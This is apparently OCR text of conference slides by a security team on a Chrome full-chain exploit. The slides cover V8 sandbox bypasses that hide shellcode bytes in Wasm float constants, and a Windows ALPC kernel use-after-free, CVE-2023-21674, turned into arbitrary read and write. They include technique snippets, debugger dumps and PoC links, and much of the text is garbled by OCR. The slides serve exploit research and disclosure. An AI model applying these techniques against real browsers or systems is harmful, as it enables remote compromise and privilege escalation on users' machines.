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Team intruduction

01-®NUMEN is web3 company
02-Our Team

focusing on binary Security
Android/Linux/WindowsKernel/Browser
03-We two avboy and yyjb

focusing on art exploit in wild research.
If time permits , we also write exploit or do some fuzzing.

contact@numencyber.com
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QNUMEN

Basic Team Work of we two

TCP/IP Vulnerability CVE-2022-

@ 24710 PoC Restoration and Analysis

D) ! @frust93717815
ber Labs - Follow

another Chrome Oday Numen Cyber Labs - 7minread - Oct 26,2022

github.com/avboy1337/1195...
Just here to drop a chrome Oday. Yes you read that L ® 0
right.

id this issue is still

ing TheHole to Chrome
'CE

s - Follow
Cyber Labs - 7Tminread - Sep 20,2022

‘hrome v8 Sandbox

avboy1337/1195777-
chromeOday

el

Bypass The Latest v8 Sandbox
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Full Chain Videg,,

5 = ==
= £33 =35 =2ITR EERFIR

L

P > 114.0.5735.91 x64 v & AR w64
A -
=373 BxEE P g
58 Hacker View Tools Users
v = o x “% Refresh {2 Options | #8 Find handles or DLLs »¢* System information @ X
@ 127.001 x 4+ N s
es3es  Services  Network Disk
c @ 127.00.1 2 o 2 s Name PID CPU 1/Ototal.. Private.. Descript.. User name Integrity
| 3 57 System Idle Process 0 93.28 60 k8 NT AUTHO..\SYSTEM
X [# Registry 100 7.63 M8
[¥] csrss.exe 412 1.9 M8 Client Se...
x ~ [ wininit.exe 512 1.39 MB  Window...
37 services.exe 652 436 MB BRSNS
| Isass.exe 660 475MB Local Se...
htal [¥] fontdrvhost.exe 788 1.54 MB Usermo...
114.0,5735.91 x64. xrar csr5s.exe 532 0.5 2.29 MB Client Se...
AL, winlogon.exe 612 244MB  Window..
2 2, 8xe ‘ ¥ 1 explorer.exe 276 032 5434 MB Window.. WIN-USHSLERFOI4\we Medium
shellcode, ban 4 vmtoolsd.exe 5732 008 1.19kB/s 2286 MB VMware.. WIN-USHSLERFOI4\we Medium
| 5 0¢ devenviexe 5992 0.18 647.17 ... Microso.. WIN-USHSLERFOIS\we Medium
v (37 main.exe 2412 13.99 MB WIN-USHSLERFOIS\we Medium
BN conhost.exe 1932 79MB8 BHIES. WIN-USHSLERFOI&\we Medium
1= ProcessHacker.exe 4028 0.36 17.28 MB  Process .. WIN-USHSLERFOId\we Medium
| BT 8516 024 19.02 MB ESETE.  WIN-USHSLERFOIS\we High
v chrome.exe 3372 0.02 23.58 MB Google ... WIN-USHSLERFOI4\we Medium
G chrome.exe 3864 2.05MB Google .. WIN-USHSLERFOI4\we Medium
B conhost.exe 4240 7.54MB B®IEE. WIN-USHSLERFOI4\we Medium
@ chrome.exe 3008 042 13kB/s 1286 MB Google ... WIN-USHSLERFOI4\we Low
@ chrome.cxe 4656 855MB Google .. WIN-USHSLERFOI&\we Medium
@ chrome.exe 8924 7.29 MB Google .. WIN-USHSLERFOIS\we Untrusted
@ chrome.exe 2808 1692 MB Google ... WIN-USHSLERFOI4\we Untrusted
] @ chrome.exe 4084 0.51 13kB/s 162MB Google .. WIN-USHSLERFOI4\we Untrusted
e cheatengine-x86_64-SSE... 9168 0.37 8873 MB Cheat E.. WIN-USHSLERFOI4\we Medium

CPU Usage: 6.72%  Physical memory: 2.72 GB (67.90%) Processes: 125
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basic explanation

01-Not popped up from Chrome Process
02-1 minute

Why Its OK, Stable is ultimust
03-forbiden api bypass
04-...
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Chrome Full Chain

+—\/8-Vul(we dont talk)

e V8 sbx bypass
Wasm function/Tuborfun opt function(<=116.0.5845.180)
Modify Ignition bytecode
USE WASM to Bypass V8sbx.again(Latest)

e Chrome sbx bypass(CVE-2023-21674)
Main-ProcessVul-(we dont talk)
Forbidden api bypass
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V8 sbx bypass

01-Function Hijack(<=116.0.5845.180)

Wasm
Tuborfun

02-Google CTF
Modify Ignition bytecode(?Real action)

03-USE WASM to Bypass.V8shx again

Latest Chrome

04-New Mitigations We met (Latest Version)
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V8 sbx bypass
01-Function Hijack(<=116.0.5845.180)

Wasm

https://github.com/numencyber/VVulnerability PoC/blob/4bbe367eada44f1016ae3bafa
bb097ba651ff466/CVE-2022-3723/arr.html#L140

Tuborfun/JIT

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=601287
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V8 sbx bypass
01-Function Hijack(<=116.0.5845.180)

Memory Viewer

avboy@u22: /mnt/9e4b17d7-a9ed-4cee-90f7-e8b4e511c8c1/singapore
File Search View Debug Tools

375575888010 0x109900232e81 0Xx109900232e81
0x109900232e81 0x109900232e81
0x1edc0O3b4080 0x1edc0O3b4080

int 2 0x109900000000 0x109900000000

call to interrupt procedure-3:trap to buggé 0x1edc0O39cO10 Ox1edcOO39cH1O
tect:Execute/Read/Write AllocationBase=37557588B000 Base=37 i 0x37557588b011 0x37557588b011
ress 00 08 01234 0x202 [ IF ]

0x33 0x33

0x2b 0x2b

0x0 0x0

0x0 0x0

0x0 0x0

0x0 Ox0

0x7fc470612080 0x7fc470612080

0x0

Memory Viewer* (1)

’rotect:Read/Wri
wddress 14

AllocationBase=10990002B000 Base=109950002B
C8

c4
Ca

W W W

W oW W wwwww
W W Wwwwwww
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V8 sbx bypass
02-Modify Ignition bytecode

Modify byteCode indeed can
give us some extra info.

But i really think there is more
work we need to do if we wanna
to escape the v8 sbx stable.

.Ichrome --ignore-certificate-errors --enable-logging --js-flags="-
--incognito --disable-extensiong] file search View Debug Tools

xpose-gc --allow-natives-syntax"

QO NUMEN

X ® 127.0.0.1

You are using ar  127.0.0.1 says

2268e7f8

Memory Viewer - Running

5574D34FEF40

Comment

v8box/solution

Protect:Read/Write Allocation 3a5c=3-3 ..... 49000 Base=383900249000 Size=370 ,:
29 = o D 6E 6F 70 71 72 73 456789ABCDEF0123

4D 09 00 00 ....fcc - ...M...

SIS



https://github.com/google/google-ctf/tree/1c279181f1586cb2ceb97153ff399c37a0cfb44b/2023/quals/sandbox-v8box/solution
https://github.com/google/google-ctf/tree/1c279181f1586cb2ceb97153ff399c37a0cfb44b/2023/quals/sandbox-v8box/solution
https://github.com/google/google-ctf/tree/1c279181f1586cb2ceb97153ff399c37a0cfb44b/2023/quals/sandbox-v8box/solution
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V8 sbx bypass
03-USE WASM to Bypass V8sbx again(Latest)

Another Function Hijack(Latest Chrome)

File Search View Debug Tools

o » | ¢ “a T 4 RBP O00DO7FFF34185260 OF O

Toqale Breakpoint | Run | Step Into Step Over Step Out | Runtill... RSP OODO7FFF34185258

chrome+61035D2 | RS DDDDDDDOOOOOOD31
Address Bytes Opcode ~| RS9 0O0ODOODOOFFFFFS07
=>chrome+6103548 8B ES mov N R10 0000SSA08795F0S0
chrome+61035D55D tho R11 7263694D656D6954
chrome+61035D641 FF E7 jmp ris R12 00007FO01AESO6CED
chrome+61035D9CC int 3 R13 0D00D0Z7EOOO398080
chrome+61035DACC int 3

<

| COpY MEemory

Protect:Read/Write AllocationBase=1F6B00275000 Bae#E=1F6B00275000 Size=B00O

‘ Retur

address B4 BC 456789ABCDEFD123
1F6B00275DB4 000D0D0DZ2190026FSES 00000 0oonnz 19 (0000000006000
1F6B00275DC4 ODDDOFSS00000219 ] F59000062B5 aooo¥ooo 190a%s
1F6B00275DD4 0O0DODDOODOOOOOOFSS 50000000000000 ¥0000000000000 .
1F6B00Z275DE4 0O00DDOOOO0OO10000 000DZ27EDDOD398020  L....... Sla Yoo
1F6B00275DF4 0O0DDZ27EOQOOADADCO FFFFFFFFFFOOOO0OO o Yooooc
1F6B0O0Z75ED4 000DZ27EDDD3980D0 126 ooo  Sa Yaq

1F6B0O0Z275E14 0O0DDZ27EODD3980CSE 000DZ27EDDOD3980ES Slo Yoo Blo Yoo
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V8 sbx bypass
03-USE WASM to Bypass V8sbx again(Latest)

Another Function Hijack(Latest Chrome) , but where should we jmp??

ound: 1
Lddre Lalue
SESD7DCAS4ZE4 3FF1F7CED21687ZE

Memory Viewer -

File Search View Debug Tools

Togale Breakpoint

> ¥

Protect:Execute/Read/Write Al

)

Previous

3FF1F7CEDS1687ZE

Running

B

S63BEES17B92

First
3FF1F7CEDS1687ZE

locationBase=55D7DCAS4000 Base=S55D7DCAS4000 Siz ~

address E4 EC 456789ABCDEFD123
S55D7DCAS42E4 3FF1F7CEDS16872B @ 110FFZCZ6EDF4966 + . ?2fI.n

S55D7DCAB42F4 ZF1ASFEEBA490747 6EOF49663FF224DD G.I ./ § ?fI.n
S55D7DCAS4304 BA49S0F4F110FFZCA 3FF5851EBS51EESS 0 s Q. T Q. 2
S55D7DCAS4314 110FFZD26EOF4966 8B4CZ0778D481757 fI.n ..W.H w

S55D7DCAB4324 STDSES49FESEBE48C7 894400001EC60025 H I Ws. ...D
S55D7DCAB4334 FCOOODCZC749FF4F 0842F641D7234CFF oI L# 4 B.

QNUMEN

New Scan Next Scan

Value:
Hex v/ | 3ff1f7ced916872b
Scan Type Exact Value v

Yalue Type
Compare to first scan

Memory Scan Oplions
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V8 sbx bypass
03-USE WASM to Bypass V8sbx again(Latest)

mov rax,[rdi+10]
mov rdx,[rax+01]

(module mov rax,[rdi+00000500]
(func (export "main") (result f64) mov [rax],00000004 { 4
;;1.123=3ff1f7ced916872b add gword ptr [rdi+00000500],04 { 4 }
f64.const 1.123)) cmp byte ptr [rdi+00000448],00 { 0 }

je chrome+5CA1114 { ->$56C6EF58114 }

Protect:Read/Write AllocdtionBase=3F3C0000C000 Base=3F3C0000
address 00 01 02 03 05 06 07 08 09 OA OB OC OD OE OF
3F3C0000CO00 00 61 73 6D 0;00 00 00 01 05 01 60 00 01 7C 03
Wasm binary: 3F3CO000CO10 02 01 00 07 O 01 04 6D 61 69 6E OO0 00 OA OD 01
B0 el 5 el ol 00 00 g0 ol oE o eo oo ol ehts 3F3C0000C020 0B 00 44 [ 67 16 DS CE F7 F1 3§ OB 00 OA 04 6E
g 3F3CO000CO30 61 6D 65 02 03 01 00 00 00 00 00 00 00 00 00 OO0
3F3C0O000C040 00 00 3F 3C 00 00 CO 80 00 00 00 00 00 00 00 OO0
Uiz OO a4 2a=f By L6 0y (e 3y Wil sy 05 00 0 0a o 3F3CO000COS0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0
61 6D 65 02 03 01 00 00 3F3CO000CO60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0
3F3C0O000CO70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0
3F3CO000COS0 00 00 3F 3C 00 00 CO CO 00 00 00 00 00 00 00 0O
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V8 sbx bypass
03-USE WASM to Bypass V8sbx again(Latest)

function fun() {

}

11 1.123=3ff1f7ced916872b
return [1.123, 1.134, 1.345];

for (leti = 0; i < 0x5000; i++) {

}
fun();

fun(0);

QO NUMEN

55D9B81040B8 - mov eax,00000006 { 6 }
55D9B81040BD - mov [rdi+03],eax

55D9B81040C0 - mov r10,3FF1F7CED916872B { 1.12 }
55D9B81040CA - ymovq xmmO0,r10

55D9B81040CF - vmovsd [rdi+07],xmm0
55D9B81040D4 - mov r10,3FF224DD2F1A9FBE { 1.13 }
55D9B81040DE - vmovqg xmmO,r10

55D9B81040E3 - vmovsd [rdi+0F],xmmO0
55D9B81040E8 - mov r10,3FF5851EB851EB85 { 0.00 }
55D9B81040F2 - vmovg xmm0,r10
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V8 sbx bypass

03-USE WASM to Bypass V8sbx again(Latest)

(module
(func (export "main") (result f64)

;; -6.654614018578406e+60=CC90909090909090

f64.const -6.654614018578406e+60
.1 1.124=3ff1fbe76c8b4396
f64.const 1.124

:; 1.125=3ff2000000000000
f64.const 1.125

;1 1.126=3ff204189374bc6a
f64.const 1.126

drop

drop

drop

var wasmCode = new Uint8Array([...wasm..binary...]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmlinstance = new
WebAssembly.Instance(wasmModule);
var f = wasmlnstance.exports.main;
for (let.i = 0; i < 0x10000; i++) {
f();
}

%DebugPrint(wasmlnstance);
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V8 sbx bypass

03-USE WASM to Bypass V8sbx again(Latest)

wasmlinstance

RWX float64

19FCO0DZ75E80
19FCO0DZ75ES0D
19FCO0Z75EAD
19FCO0DZ75EBD

000002 1900Z6FSES
00000DF5900000219
00000D00000D000FSS

0000000000000000
Qo003 23800l laES0

19FCO0Z75ECQO
19FCO0Z275EDC

DO00355CEAE43000

19FCO0Z7SEEQZ7UNULNS 250005 ACHTS

1AFCNN2785EAT

355CEAE43715 - jbe 355CEAE43771
355CEAE4371B - mov r10,CC90909090909090 { -1869574000 }
355CEAE43725 - vmovg xmmO0,r10

ANNA3I238NN3 ACNEN

000002 1900000219
0000DF59000062E5
FFFFFFFFFFOOOOODO
00003238003 AC0Z0
FFFFFFFFFFOOOOODO
00003238003 ACODO
00003238003 ACOES
ANNA3238NN3 acnin

355CEAE4372A - mov r10,3FF1FBE76C8B4396 { 1.12 }

355CEAE43734 - vmovg xmm1,r10

355CEAE43739 - mov r10,3FF2000000000000 { 1.13}

355CEAE43743 - vmovg xmm2,r10

355CEAE43748 - mov r10,3FF204189374BC6A { 1.13 }

ARERECEAEARAT7RYD _ vvimoavda vimm?2 r1 0

QO NUMEN
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V8 sbx bypass
03-USE WASM to Bypass V8sbx again(Latest)
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V8 sbx bypass
04-New Mitigations | met(Latest Version)

01-Partition Alloc free list Mitigation
558110B6E6G2B - bswap rdx
558110B6EG2E - mov rsi,rdx
558110B6E6G31 - xor rsi,r12
558110B6E634 - cmp rsi,001FFFFF {{2097151 }
558110B6E63B - ja chrome+2C26B80 { ->558110B6EBS80 } INT3
558110B6E641 - mov esi,edx
558110B6E643 - and esi,001FC000 { 2080768 }
558110B6E649 - je chrome+2C26B80 { ->658110B6EB80 } INT3

02-we can predicate the binary data space and calc a lot of address or even
calc the absolute address of lots memory, but the Binary data’s abilityiis not
powerful enough to modify them
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V8 sbx bypass

04-New Mitigations | met(Latest Version)

01-Partition Alloc MetadataPage Mitigation(version 118.0.5993.117)
chrome+2D202FF - mov rax,[chrome+DC12B60] { (162400000000=min(Partition Addr)) }
chrome+2D20306 - cmp rax,r14 (r14 is destination addr)
chrome+2D20309 - ja chrome+2D20B8B INT3 (if dest < min(PartitionAlloc addr) then crash))
chrome+2D2030F - add rax,[chrome+DC12B70] { (0) } (rax+lengthOfParthtion)
chrome+2D20316 - cmp rax,r14
chrome+2D20319 - jbe chrome+2D20B8B INT3 (if dest > max(PartitionAlloc addr).then crash))

02-we can predicat

QO NUMEN

of lots memory, but

162800001000
162800001010
162800001020
162800001030
162800001040
162800001050
162800001060
162300001070
162800001080
162800001090
162800001040

0000S563EAS1FO680
00000000000Z0001
0000000000000000
0000000000000000
0000000000000000
0000000000000000
000016280000C060

0000563EAS1FOVED
0000000000000000

0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
0040000010200002

rw P ababesooooooooon

0040000010180004
0000000000000000

3n:calc the absolute address
ify them
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V8 sbx bypass
03-Convert type of Vul(Latest)

W

)

Comment 2 by saelo@google.com on Wed, Apr 13, 2022, 5:55 PM GMT+8

What seems to be happening here is that the code somehow ends up creating two different JSArgumentsObjects ((e2.M" and "e2.C’) which point to the
same “FixedArray” elements backing store. This can be seen by adding "%DebugPrint” statements at the end of the repro case:

b

DebugPrint: 0x85700257e05: [JS_ARGUMENTS_OBJECT_TYPE] in OldSpace

- elements: 0x0857000d9a49 <FixedArray([3]>

When Writing Exploits, Maybe the solution is in The
Conversation!!!

DebugPrint: 0x85700257e35: [JS_ARGUMENTS_OBJECT_TYPE] in OldSpace i

- elements: 0x0857000d9a49 <FixedArray[3]> |

It seems this can then be used to cause other issues. For example, you can leak the "hole” value, which ,/

can probably be used to cause memory corruption (see e.g. isste-3263462). ot
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ALPC Kernel Privilege
Escalation Vulnerability
CVE-2023-21674

Author:yyjb - NumenCyber labs



! POC2023
Constructing a PoC

1. Analyzing patches
2. Possible error methods
3. Objects that never fade away

4. Rediscovering references



M PoC2023
Analyzing patches

__int64 __ fastcall AlpciSendDeferredMessageBeforeWait()

{
if &aB & 0x20000) !'= 0 )/ #define
ALPC MSGFLG_SYNC REQUEST 0x20000
{
goto erorr;

}
AlpcpSendMessage((__int64 *)v21, a4, 0i64, a6);

if (v10>=0)
{
}



! POC2023
Analyzing patches

if (*(_QWORD *)(v21 + 24))
{
if (*(_QWORD *)(v21 + 32) )
return AlpcpDispatchReplyToWaitingThread(a1);
else
return AlpcpDispatchReplyToPort(a1);

}

else
{return AlpcpDispatchNewMessage(a1);}



! POC2023
Analyzing patches

i ( (17 ) = 0 )
{
*(_DWORD *)(v1 + 40) &= ~0x100u;
FOWORDH)(AS0)#=2,  # AlpcMessage Count
*(QWORD *)(v1 + 32) = CurrentThread; #Thread

_InterlockedExchange64((volatile __int64
*)&CurrentThread[1].RelativeTimerBias, v1);

}
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Possible error methods

®1, AlpcMessage : UAF

e 2 AlpcMessage->Thread : Thread Token Permissions Inheritance
Error

@3, Alpc Port : UAF
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W Kernel 'com:pipe,port=\\.\pipe\com_1,baud=115200,pipe' - WinDbg:10.0.22621.755 AMD64 - m} X
File Edit View Debug Window Help
& | [l HERHR ¢ O EDEEEEREEOBE|E A
This object will never be released &
Virtual: [£ £ £ £ca07884afde0-20 Previous | - Display format: | Byte s Next Raw args Funcinfo Source Addrs Headings Nonvolatile reg
ffffcal? 884afdc0 00 02 00 00 00 00 OO0 OO0 02 00 00 00 00 OO OO OO ................
£fffcal? 884afdd0 00 O 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ FIGDIS SSIEDCRE
ffffcal? 884afdeld 58 b 73 89 dc ff ff 58 bb 4d 73 89 dc ff ff X.Ms M L
ffffcal? 884afdf0 00 00 00 00 00 00 00 a0 ba 4d 73 89 dc ff ff ....... O
ffffcal? 884afe00 80 00 77 89 dc f£f ££f 10 53 00 00 02 00 00 OO - SR -
ffffcal? 884afelld 80 al 73 89 dc ff £f 00 00 00 00 00 00 OO0 OO0 ...s............ ! _ _ ]
ffffcal? 884afe20 00 00 00 00 00 00 00 00 00 00 OO0 OO OO OO OO ................ nt !|DbgBreakPointWithStatus )
ffffcal? 884afe30 00 00 00 00 00 OO0 00 OO 00 OO0 00 OO0 OO0 OO0 OO ................ nt | KdCheckForDebugBreak+0x1c01b6
ffffcal? 884afedld cO cb 7c 07 ca £f £f 00 00 00 00 00 00 OO0 OO ...|............ nt |KehccunulateTicks+0xdca
ffffcal? 884afes50 00 00 00 00 00 00 00 20 01 00 00 OO OO OO OO ........ ....... nt !|KiUpdateRunTime+0xz64
ffffcal? 884afetl 00 OO0 00 00 00 00 00 OO0 00 OO0 00 OO0 0O OO0 OO ................ nt !KiUpdateTime+0xdcs
ffffcal? 884afe?0 00 00 00 00 00 00 00 00O 00 00 OO OO OO0 OO OO ................ nfEEe?ngkInﬁ?rr?Et{‘OtlfY':'Uir'fzslz v
Command - Kernel 'com:pipe,port=\\\\pipe\com_1,baud=115200,pipe' - WinDbg:10.0.22621.755>=] £l
fEEE£RO0C 73020060 o . 3 A  Offset:| LpcpCopyRequestData Previous Next
1: kd> !pool ffffcal?884afdel nt | DbgUserBreakPoint :
Pool page ffffcal7884afdel Region is Paged pool f££££805° 7302050 cc int 3
ffffcal?7884af820 size: 2f0 previous size: 0 (Allocated) MPsc fff££805°73020c51 c3 ret
ffffcal?ffdafh?2l size: 260 _presiog ize. 0 {Allocated) FMfn fff£f£f805°73020c52 cc int 3
effffcal7?7884afdal size: 230 previous size: 0 (Allocated) *AlMs f££££805°73020c53 cc int 3
Pooltag AIHs . ALFC message, Binary . ntlalpc ff£f£805°73020c54 cc int 3
ffffcal7884affeld size: 1000 previous size: 0 (Free) f££££805°73020c55 cc int 3
1: kd> dg ffffcal?7?884afdel f££££805°73020c56 co int 3
ffffcal? 884afdel ffffdcB89°734dbbS58 ffffdcB89° 734dbb58 f££££805° 7302057 cc int 3
ffffcal? 884afdf0 00000000°00000000 fff * 734dbaal fE£££805° 7302058 0£1£840000000000 nop dwvord ptr [rax+:
ffffcal? 884afell |ffffdc89°778£0080H0 00005310 nt | DbgBreakFointWithStatus:
ffffcal? 884afell dcgy gUa080 S fEE££805° 73020c60 cc int B
ffffcal? 884afe20 00000000° 00000000 00OOOOOOO® GO fE£££805°73020c61 c3 ret
ffffcal? 884afe30 000000007 00000000 0OOOOOOOOT 00000000 “\1” = 41,, nt | DbgBreakPointWithStatusEnd:
ffffcal? 884afedl ffffcal? 7cl8cScO0 00000000° 00000000 Already f££££805°73020ck2 cc int 3
ffffcal? 884afe50 00000000° 00000000 OOOOOOOO 00000120 - e 1 fE£££805°73020c63 cc int 3
releasec v |f££££805°73020c64 cc int 3
< > fE£££805°73020c65 cc int 3
FEF££O0NC?ININALEL —~m BReR 2
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Rediscovering references

LpcpCopyRequestData()

= ObReferenceObjectByHandle(a2,|1lu, AlgcPortObjectType] > & , Y3
if ( >= 09 )
1
= AlpcpLookupMessage ((_DWORC » DNQRD2( S S » (__inte4)& 2) 5
if <9)
{
ABEL_35: i )
PsDereferencePrimaryToken( E Search for APIs baseed on
return - - _
} these features
= *(_QWORD *)( 2 + 32);
if |( )
r R
1 —> . 0T W, . Sy,
-1073741811; ) B iy J. ger %F L \@‘:\L t A Fi ee)

*(__int16 *)( + 246);
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Arbitrary Read and Write from Kernel UAF to Userland

1, Attempting to modify a forged kernel object via UAF

2 , Reflecting on the significance of the LpcpCopyRequestData function
itself



B8P Read and Write from Kernel UAF to Userla@ NUMER

E\ITSTATUS __fastcall LpcpCopyRequestData()

if (a1 )//Read or Write

Viiii = iln“!\!!ress;
}

else

v29 = CurrentThread->ApcState.Process;

%/18 MmCopy thualMemorg _DWORD)Process, v30, ( DWORD)v29, v28,

v13, PreviousMode, (__ int64)&v3



NUMEN
JKr%C?g%?/’ Read and Write from Kernel UAF to Userla

&P Kernel ‘com:pipe,port=\\.\pipe\com_1,baud=1152UU,pipe - WINUDQ: 1U.U.£Z0<41./3D ANMUDS - N A
File Edit View Debug Window Help

2] T EREHER®PE |0 EBRAEOREOOE|EI] A E
ory Eg!! Calls GQE!

Virtua|:|r1lJ | Previous
Display format: | Byte v Next

f£££dcB89°778£0080 80 10 96 73 89 dc
fff£dcB9°778£0
ff££dcB89°778£0
f£££dcB89°778£0095 80 10 96 73 89 dc
fff£dcB89°778£00a0
fff£fdcB89°778£00a8
ff££fdc89°778£00b0
ffffdcB89°778£00b8
fff£dcB89°778£00c0
ff£££fdcB89°778£00c8

Raw args Funcinfo Source Addrs Headings Nonvolatile regs Frame nums Source args More Les

nt | LpcpCopyRequestData+0x1b3

PN nt |NtWriteRequestData+0=3f

nt |KiSystemServiceCopyEnd+0=25
ntdll!NtWriteRequestData+0=x14
CPP_ALPC Basic Client+0xef7ba

ADDODO O

ffffdrR9*77RfNNAN 73 R9 Ar v
Command - Kernel 'com:pipe,port’ \\.\pipe\com_1,baud=115200,pipe'-WinDbg:IO.n Disassembly E
TIIIIUUoroaurire e RL NI AL DODW RO ¥ oG Lo il UL Mo o S OIioSoag oV e & ; =
fEEF£805733782e8 ntkrnlmp\ilpcpFlushdessagesByRequestor | Offset: LpcpCopyRequestData | [ Previous Next
f££££8057328:190 ntkrnlmp!ilpcpProbelessageAttributes fff££805° 7353dabe 4889442420 nov gword ptr [rsp+20h],rax
0: kd> dt ntkrnlmp!_KALPC MESSAGE ffffcal7884afdel fE££££805°7353dac3 448b842490000000 mow r8d,dword ptr [rsp+90h]
+0=000 Entry : \LIST_ENTRY [ 0Oxffffdc89°734dbb58 - f££££805° 7353dach 8b942488000000 mov edx,dvord ptr [rsp+88h]
+0x010 PortQueue o 1137 fff££805°7353dad2 488b4c2450 nov rcx,qword ptr [rsp+50h]
+0x018 OwnerPort fffdc89' 734dbaal ALPC PORT fff££805° 7353dad? e=8c450d6£f call nt ! Alpcplookuplessage (fi
+0=020 [Uaitin rea (=] fE£££805° 7353dadc 8bdé nov ebx, eax
+0=028 ul . <unnamed-tag> ff£££805° 7353dade 85c0 test eax, eax
+0x02c SequenceNo : On2 fff££805°7353dae0 0£8821010000 is nt | LpcpCopyRequestData+0:
+0x2030 QuotaProcess : Oxffffdc89°7380a080 _EPROCESS fEf£f£805° 7353dacst 488b442448 nov rax,gqword ptr [rsp+48h]
+0x030 QuotaBlock : Oxffffdc89°7380a080 Void fff££805° 7353dasb 4c8b5020 nov rl0,gword ptr [rax+20h]
+0x038 CancelSequencePort : (null)
+0x040 CancelQueusPort : (null) fE£££805°7353daf2 750a ine nt | LpcpCopyRequestData+0:
+0x048 CancelSequenceNo : 0Onl fE£££805°7353daf4 bb220000c0 nov ebx, 0C0000022h
+0x050 CancellistEntry _I.IST ENTRY [ DxUUDDUUUU UUUUUUUU - f££££805°7353daf9 e9££000000 imp nt | LpcpCopyRequestData+0:




M PoC2023
Challenges Posed by Low Privileges

®1 , Issues Arising from Untrusted Process Permissions
O 1, Common information leakage
O 2, Creating ALPC ports and named pipes

® 2 , Additional Challenges in Chrome Untrusted Processes.

O 1, Address leak for read and write (loading system DLLs)
O 2, Creating anonymous pipes and opening file object handles
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Writing at the end
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